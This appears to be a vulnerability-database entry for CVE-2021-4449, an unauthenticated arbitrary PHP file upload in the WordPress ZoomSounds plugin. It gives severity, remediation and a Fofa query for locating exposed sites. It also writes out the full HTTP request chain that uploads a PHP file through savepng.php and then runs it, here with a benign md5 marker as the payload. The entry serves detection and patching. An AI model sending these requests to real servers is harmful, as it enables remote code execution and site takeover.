🔙 목록으로 돌아가기

CVE-2021-4449: ZoomSounds Plugin - Unauthenticated Arbitrary File Upload

TitleZoomSounds Plugin - Unauthenticated Arbitrary File Upload
Author0xnemian
SeverityCritical
ImpactUnauthenticated attackers can upload arbitrary PHP files via savepng.php without authentication or validation, achieving remote code execution and complete server compromise.
RemediationUpgrade to ZoomSounds plugin version that addresses the file upload vulnerability.
CVSS Score9.8
EPSS Score0.78635
CVE IDCVE-2021-4449
CWE IDCWE-434
Fofa Querybody="/wp-content/plugins/dzs-zoomsounds/"
Tags cve cve2021 wpscan wp zoomsounds intrusive file-upload vkev

🔍 Vulnerability Description

ZoomSounds plugin for WordPress contains a file upload vulnerability in savepng.php

🌐 HTTP Request

GET /wp-content/plugins/dzs-zoomsounds/savepng.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.16
Connection: close
Accept-Encoding: gzip
POST /wp-content/plugins/dzs-zoomsounds/savepng.php?location=ancw2ct6.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 34
Accept-Encoding: gzip

<?php echo md5("CVE-2021-4449");?>
GET /wp-content/plugins/dzs-zoomsounds/ancw2ct6.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-4449.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-4449.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A